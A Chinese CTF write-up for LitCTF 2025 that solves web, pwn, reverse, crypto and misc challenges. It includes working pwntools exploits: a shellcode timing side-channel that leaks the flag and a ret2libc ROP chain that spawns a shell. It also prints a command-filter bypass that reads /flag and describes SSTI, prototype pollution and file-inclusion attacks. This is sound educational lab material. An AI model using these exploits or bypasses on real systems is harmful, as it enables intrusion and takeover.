litctf2025 writeup

collectcrop Lv3

Initializaion战队WP

排名34,队员collectcrop,w2194167366,cjyxx

web-nest_js

进入没找到什么有用信息(第一次进的时候这个界面都没加载出来,于是dirsearch扫描了)发现了/login

输入东西点立即登录发现没有反应,于是bp抓包查看

如果用户名或密码错误会显示Invalid credentials,这里猜测用户就是admin,弱口令爆破密码得到密码为password,点登录拿到flag

flag: LitCTF{b11dd2bc-935b-47d7-ada1-dd12a3140c4a}

web-星愿信箱

可以写东西,提交会显示要输入文字,于是加上几个字,后面跟上{{7*7}}

有waf,所以就是SSTI注入,试试{%print(7*7)%}

成功回显,于是输入payload

直接输命令即可,这里过滤了cat,使用tac绕过

NSSCTF{5f6e362c-81ff-4d9b-9d1f-3d671b45de82}

web-多重宇宙日记

进来登录发现没用户,直接随便注册一个用户,这里介绍说要成为真正的管理员,题目介绍说了原型链

发现能传入json数据

抓包发现了json数据的格式,这里打js原型链污染

F12发现有提示isAdmin,估计要污染掉它的值改为true,于是payload为

直接发送原始JSON,会发现多出来一个管理员界面

访问拿到flag

NSSCTF{22139e24-4f90-44d7-8730-c30781f8b58c}

web-easy_file

进入为一个登录界面,试了下应该又是弱口令爆破,这里传入的数据会被自动base64加密,这个在爆破的时候要注意一下,拿到用户名admin密码password,访问到admin.php为一个文件上传界面,测试发现只能传jpg文件,文件内容过滤了,传成功后,注意到初始界面(登录界面)有提示:file查看头像,于是在admin.php界面接上?file=/var/www/html/uploads/1.jpg,成功文件包含图片马,ls发现flag在当前目录,直接cat即可。

NSSCTF{2c2659d4-5302-4c73-9ca0-aa0413daf303}

pwn-test_your_nc

签到题,给的附件是一个python脚本,可以直接RCE,只是过滤了一部分命令。

这里cat我用变量拼接绕过,空格用$IFS$9绕过,可以直接读取flag。

1
a=ca;b=t;$a$b$IFS$9/flag

pwn-shellcode

这道题和ACTF的有道题类似,都是只允许open和read系统调用,但对shellcode本身没有做什么限制,所以可以打一个时间侧信道攻击,去比较读取到的flag的某一位是否与我们指定的值相同,如果相等就进入死循环,否则让程序直接EOF退出。这里存在的一个问题是我们需要一个可写的地址来存我们读取到的flag,由于程序开了PIE也没其它别的漏洞,所以这里我们可以采用call+pop的方式来获取到我们可写可执行区域的一个相关的地址,call可以把当前指令的下一个地址入栈,然后pop可以把这个地址赋值给某个寄存器,从而实现得到一个可写的地址,加上一个偏移就可以确保其不会覆盖我们要执行的代码。

我这里采用的是直接线性搜索找flag,也可以考虑用二分查找提高搜索效率。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
from time import sleep
context(arch="amd64",log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

shellcode = f"""
call get_rip
get_rip:
pop rbx
add rbx, 0x200

pop rdi
mov rcx, 0x67616c662f
push rcx

mov rax, 0x2
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

mov rdi, rax
mov rsi, rbx
mov rdx, 0x50
mov rax, 0
syscall

mov rdi, rbx
mov rdx, 0xCC
mov al, 0xDD
.L1:
cmp al, byte ptr [rdi+rdx]
je .L1

"""
def linear_search(index):
for guess in range(20, 127):
if test_guess(index, guess):
return guess
return 0

def patch(shellcode, offset_index, offset_guess, index, guess):
shellcode = bytearray(shellcode)

shellcode[offset_index] = index
shellcode[offset_guess] = guess
return bytes(shellcode)

base_shellcode = asm(shellcode)
print(base_shellcode)
OFFSET_INDEX = base_shellcode.find(p8(0xCC))
OFFSET_GUESS = base_shellcode.find(p8(0xDD))

def test_guess(index, guess):
# patch shellcode
shellcode = patch(base_shellcode, OFFSET_INDEX, OFFSET_GUESS, index, guess)
try:
# sh = process("./pwn")
sh = remote("node12.anna.nssctf.cn",28052)
sh.sendlineafter(b"shellcode: \n",shellcode)
time.sleep(0.2)

try:
data = sh.recv(timeout=2)
if data == b"":
return True
except EOFError:
print(f"[{index=} {guess=}]: EOFError -> WRONG")
return False
except TimeoutError:
# 卡死(没返回)= 猜对,陷入死循环
print(f"[{index=} {guess=}]: timeout -> CORRECT")
return True

except Exception as e:
print(f"[{index=} {guess=}]: Exception during connection/send -> {e}")
return False
finally:
try:
sh.close()
except:
pass



flag = b''
for i in range(0, 0x40): # 假设最多 64 字节
ch = linear_search(i)
if ch == 0 or ch > 0x7f: # 不可打印视为终止
break
flag += bytes([ch])
print("Current flag:", flag)
time.sleep(1)


print("Recovered flag:", flag.decode(errors="ignore"))

pwn-master_of_rop

这题乍一看很简单,实则没pop rdi;ret的gadget寸步难行。我们有一个无限制溢出的gets函数,但也仅此而已。我们的难点主要是在于获取libc基址,如果能控制rdi然后再返回到puts函数倒是可以直接打印出got表里的libc相关地址。但是我试了很多办法都没能成功的控制rdi而不导致程序崩溃。

依靠着出题人给的提示ret2gets这一闻所未闻的利用手法,找到了这样一篇优质博客。其原理分析之详细与利用之简洁清晰令人叹为观止。主要的利用方式就是依靠glibc中某些函数实现的锁机制上的漏洞,可以在调用完gets之后在rdi附近残留libc相关地址,其中作者还给出了libc2.37前后两种不同的利用方式。直接照着构造rop链就可以泄露出libc相关地址。两次gets再回来一次put就可以泄露地址,真奇妙!

后续有时间再来仔细跟着这篇博客复现一遍这个漏洞发掘的全过程。这里就先直接拿来用了。有了libc基址那就成了最简单的ret2libc了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(arch="amd64",log_level="debug")
# context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

# p = process("./pwn")
p = remote("node8.anna.nssctf.cn",23662)
libc = ELF("./libc.so.6")
puts_plt = 0x401060
gets_plt = 0x401080
pus_got = 0x404018
main = 0x4011AD
payload = b'A'*0x28 + p64(gets_plt)*2 + p64(puts_plt) + p64(main)

p.sendlineafter(b"Welcome to LitCTF2025!",payload)
pause()
p.sendline(p32(0) + b"A"*4 + b"B"*8)
pause()
p.sendline(b"CCCC")
p.recv()
p.recv(8)
tls = u64(p.recv(6) + b"\x00\x00")
log.info(f"tls: {hex(tls)}")

libc_addr = tls + 0x28c0
log.info(f"libc: {hex(libc_addr)}")
pop_rdi_ret = libc_addr + 0x10f75b
system = libc_addr + libc.symbols['system']
bin_sh_add = libc_addr + next(libc.search(b"/bin/sh"))
ret = libc_addr + 0x2882f

payload = b'A'*0x28 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_add) + p64(system)
p.sendlineafter(b"Welcome to LitCTF2025!",payload)
p.interactive()

re-easy_rc4

主函数一看上去就是一个rc4加密输入与指定值比较,key也直接给了,为FenKey!!,那么我们只要进去看看rc4_init和rc4_crypt算法有没有魔改即可。

分析rc4_crypt发现,其相对于普通的rc4加密,最后还多异或了一个0x20,那么这就是一个经简单魔改的rc4加密,可以直接生成keystream,然后异或时除了异或keystream对应位以外,还需要多异或一个0x20回去。rc4解密可以直接调用python的ARC4库实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Cipher import ARC4

# 加密使用的 key 是前 8 个字节,固定为:
key = b'FenKey!!'
# 加密结果,也就是程序中的 s2
ciphertext = bytes.fromhex(
"78CC4E1343F47349"
"4F6C4F73C0F4357E"
"CE27764D19607AEA"
"445DC04281DA1CF6"
"647258D994FAF813"
)

# 因为加密的时候是 RC4 明文 ^ keystream ^ 0x20
# 所以我们先生成 RC4 keystream,然后反推明文
rc4 = ARC4.new(key)
keystream = rc4.encrypt(b'\x00' * 40)

# 解密出原始明文(也就是用户应该输入的 flag)
plaintext = bytes([c ^ k ^ 0x20 for c, k in zip(ciphertext, keystream)])

print("Recovered input flag:", plaintext.decode(errors='ignore'))

re-FeatureExtraction

首先定位到最后验证flag的逻辑,flag长度44,是和v15处的内容进行比较。v11存的是加密后的输入值。前面加密用到了两个函数,其中第二个函数用到了一个前面生成的一个key值。

实际上我们v15的值和key的值都可以在动态调试中直接dump下来。比如我们可以打个断点在这个用到第三个参数作为key进行加密运算的函数处,这里第三个参数是用r8传递,此时值为0x6AFDE0,然后可以再右下角栈帧中找到这个地址,然后在内存窗口定位到该地址处存的地址。可以看到存的key是LitCTF2025,可以发现这里都是用四个字节存一个值。

然后dump下来目标的值,在第二个参数rdx处找。然后就可以把值先全部记录到脚本中,后面肯定会用到。

然后我们仔细分析sub_4014F0这个加密函数大概干了什么(前面那个函数经分析没啥用处,大概是将输入的格式统一一下)。这里v13和v12大概是输入与key的长度,然后在循环里主要是把input[i]和key[j]乘起来,最后累加到v8数组的i+j下标处。经gpt分析说是典型的多项式乘法,i+j就相当于多项式的某个次数,最后我们返回的值实际上就是v8数组。

那么我们就可以相应的写出解密脚本了,可以通过数学关系推导:

1
2
c[i] = p[i]*k₀ + p[i-1]*k₁ + p[i-2]*k₂ + ... + p[i-m]*kₘ
p[i] = (c[i] - (p[i-1]*k₁ + p[i-2]*k₂ + ... + p[i-m]*kₘ)) // k₀
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import struct

# 1. 还原密文字节(v15 数据)
hex_data = '''
90 16 00 00 58 3E 00 00 F1 6F 00 00 F0 86 00 00
66 9D 00 00 30 AB 00 00 71 CA 00 00 29 CF 00 00
35 E3 00 00 92 E4 00 00 FD F1 00 00 80 DE 00 00
C8 D0 00 00 35 C2 00 00 B5 B9 00 00 CF B1 00 00
9F 9E 00 00 86 9E 00 00 B4 96 00 00 50 A5 00 00
D3 A0 00 00 35 A1 00 00 CA 99 00 00 C0 AC 00 00
78 BE 00 00 96 C1 00 00 00 BC 00 00 C3 B5 00 00
F0 B7 00 00 65 B4 00 00 73 B6 00 00 1F B7 00 00
E2 BB 00 00 4F CB 00 00 AD D2 00 00 20 DE 00 00
94 EC 00 00 30 FC 00 00 B8 04 01 00 EE F6 00 00
C9 ED 00 00 85 E3 00 00 8B D7 00 00 19 DE 00 00
4C C9 00 00 14 AD 00 00 88 7E 00 00 B9 6B 00 00
C6 4C 00 00 06 38 00 00 C9 2D 00 00 98 23 00 00
E1 19 00 00
'''.strip().split()

cipher_bytes = bytes([int(b, 16) for b in hex_data])
cipher = [struct.unpack("<I", cipher_bytes[i:i+4])[0] for i in range(0, len(cipher_bytes), 4)]

# key 解析
key = "LitCTF2025"
key_ints = [ord(c) for c in key]
key_len = len(key)

# 计算明文长度(基于 cipher 长度和 key 长度)
plain_len = len(cipher) - key_len + 1
plaintext = [0] * plain_len

# 解密过程:从低到高逐个解
for i in range(plain_len):
acc = cipher[i]
for j in range(1, min(i + 1, key_len)):
acc -= plaintext[i - j] * key_ints[j]
plaintext[i] = acc // key_ints[0]

# 输出结果
print("明文结果:")
print("".join(chr(x) for x in plaintext))

re-easy_tea

首先进IDA一看不能直接解析成函数,具有花指令,这里由于花指令数量不多,我就全部手动patch了。第一种是经典的jz和jnz组合,实际上就是直接跳转到指定的地址处,可以把jz,jnz以及跳转地址之前的内容全部nop掉。

第二种是call+ret的花指令,首先call进去把下一个指令的地址入栈,然后修改(+6)栈顶的这个返回地址,最后再返回回去,实际上就是直接执行call后面一个指令地址+6处的内容,前面的可以全部nop掉。

反复patch几个花指令之后,就可以直接在函数一开始yong快捷键p重新解析函数,然后就能f5直接看反汇编代码了。

其中encrypt加密中具体实现的函数同样也有以上两种花指令,全部patch掉就行,然后可以看反汇编。

然后就可以直接写tea的解密脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
def decrypt_block(v, k):
"""
TEA-like decrypt function (based on the reversed encrypt logic)
v: list of 2 integers (v[0], v[1]) = 8-byte encrypted block
k: list of 4 integers = key
"""
v0, v1 = v
delta = 1131796
sum = delta * 32

for _ in range(32):
v1 -= (k[3] + (v0 >> 5)) ^ (sum + v0) ^ (k[2] + 16 * v0)
v1 &= 0xFFFFFFFF
v0 -= (k[1] + (v1 >> 5)) ^ (sum + v1) ^ (k[0] + 16 * v1)
v0 &= 0xFFFFFFFF
sum -= delta

return [v0, v1]


def int_to_bytes_le(x):
return x.to_bytes(4, byteorder='little')


if __name__ == "__main__":
# 密文(解密目标):v6
encrypted_data = [
-1753982978,
-633464704,
-1206480632,
513091676,
535291634,
734395479,
-1299247192,
-1911683516,
1749369893,
-982040359
]

# 先将负数转为无符号 32bit 表示
encrypted_data = [x & 0xFFFFFFFF for x in encrypted_data]

# 密钥:v7
key = [
0x11223344,
0x55667788,
0x99aabbcc,
0xDDeeff11
]

# 解密每个 8 字节块
flag = b''
for i in range(0, len(encrypted_data), 2):
block = encrypted_data[i:i+2]
decrypted = decrypt_block(block, key)
flag += int_to_bytes_le(decrypted[0])
flag += int_to_bytes_le(decrypted[1])

# 去除尾部 0(原始 flag 长度不一定是 40)
flag = flag.rstrip(b'\x00')
print("Flag:", flag.decode(errors='ignore'))

crypto-basic

签到题,n直接是一个素数,则其欧拉函数phi_n=n-1,然后就可以直接求出逆元,然后就是常规的rsa解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from sympy import *
# from enc import flag

# m = bytes_to_long(flag)
# n = getPrime(1024)
# e = 65537
# c = pow(m,e,n)
# print(f"n = {n}")
# print(f"e = {e}")
# print(f"c = {c}")


n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505

phi_n = n - 1
d = mod_inverse(e, phi_n)

m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)

crypto-ez_math

题目是一个RSA加密问题

先生成两个1024位素数p,q,计算n=p*q,生成素数noise,计算hint = p*q+noise*p+noise*q+noise*noise=(p+noise)(q+noise),明文flag通过RSA加密得到密文c=m^e mod n,e=65537。

题目中使用了 2x2 矩阵 A 在有限域 GF (p) 上进行幂运算,得到矩阵 B = A^e

我们需要计算 B 的 e 次根,即找到矩阵 A,使得 A^e ≡ B mod p

首先计算模逆元

d = mod_inverse(e, p-1)

然后计算矩阵快速幂计算 A = B^d mod p

A = matrix_pow_mod(B, d, p)

从矩阵中提取flag

检查是否包含flag前缀

完整代码

代码运行结果,输出flag

misc-Cropping

附件是一个加密过后的压缩包,直接用ZipCenOp.jar来尝试解除伪加密,发现可以直接解开。然后看到里面的压缩包中有大量编号规律的图片,右边预览可以看到很像是二维码碎片。

那么我们可以直接python脚本把图片根据顺序拼起来,然后就能得到二维码,扫码得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from PIL import Image
import os

# 配置区域
grid_size = 10
swap_xy = False # 如果你发现拼出来是转置的,改成 True 或 False 试试

# 加载一张样例图判断 tile 尺寸
sample_tile = Image.open("tile_0_0.png")
tile_width, tile_height = sample_tile.size

# 创建空白大图
output_image = Image.new("RGB", (tile_width * grid_size, tile_height * grid_size))

# 贴图循环
for i in range(grid_size):
for j in range(grid_size):
x, y = (j, i) if swap_xy else (i, j)
filename = f"tile_{x}_{y}.png"
if not os.path.exists(filename):
print(f"[!] 缺失文件:{filename}")
continue
tile = Image.open(filename)
output_image.paste(tile, (j * tile_width, i * tile_height))

# 保存结果
output_image.save("reconstructed_qr.png")
print("拼接完成,已保存为 reconstructed_qr.png")

misc-灵感菇

前端注释里有github网址

直接拉取仓库,看readme里的usage,用法是python main.py -d "cipher"。点击页面的按钮可以得到灵感菇编码的内容,用脚本解码即可。

misc-问卷

  • 标题: litctf2025 writeup
  • 作者: collectcrop
  • 创建于 : 2025-05-26 19:54:51
  • 更新于 : 2025-05-26 20:32:13
  • 链接: https://collectcrop.github.io/2025/05/26/litctf2025-writeup/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。